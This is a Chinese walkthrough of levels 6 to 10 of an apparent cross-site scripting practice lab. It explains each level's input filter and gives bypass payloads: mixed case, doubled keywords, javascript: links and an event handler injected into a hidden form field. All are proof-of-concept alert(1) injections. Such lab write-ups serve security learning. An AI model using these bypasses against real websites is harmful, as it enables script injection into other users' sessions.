Level 6
查看源码:对URL中的传参进行了HTML实体化转义,搜索框中的值对 srconxxxxxdatahref进行了限制。
采用大小写绕过,在搜索框输入payload,注意闭合input标签即可
"> <sCrIpt>alert(1)</SCript> //
当然大写的ONCLICK等属性也是可以使用的,注意触发点击事件即可。
Level 7
事先用了level 6 的payload 发现行不通。
查看源码:果然将大写全转换为小写并且替换为空值。既然替换为空值了那就可以尝试双写绕过。
payload :双写script或者双写on进行绕过
1$ "> <scrscriptipt>alert(1)</scrscriptipt> //
2$ " oonnclick="alert(1)
Level 8
尝试了之前的payload发现都不可用
观察源码:添加了对"的限制 并且将传入的参数放入了a标签里
后来尝试了javascript伪协议 ,JavaScript:alert(1)但是会对script做限制,所以script中随便1个字母用unicode进行编码绕过。
javascript:alert(1)
level 9
观察源码:
发现只有加上http:\链接才算合法
那就在最后加http://即可 注意用//注释掉http:// 否则影响脚本执行
javascript:alert(1)//http://
level 10
keyword输入参数发现没有回显
检查页面源代码发现有个隐藏表单
在URL中提交参数,尝试后发现只有第3个input标签可以传参
尝试onclick事件 ,注意要重定义type不然无法出现 输入框
?t_link=111&t_history=222&t_sort=" onclick="alert(1)" type="
原先页面input标签变为了
<input name="t_sort" value="" onclick="alert(1)" type="" type="hidden">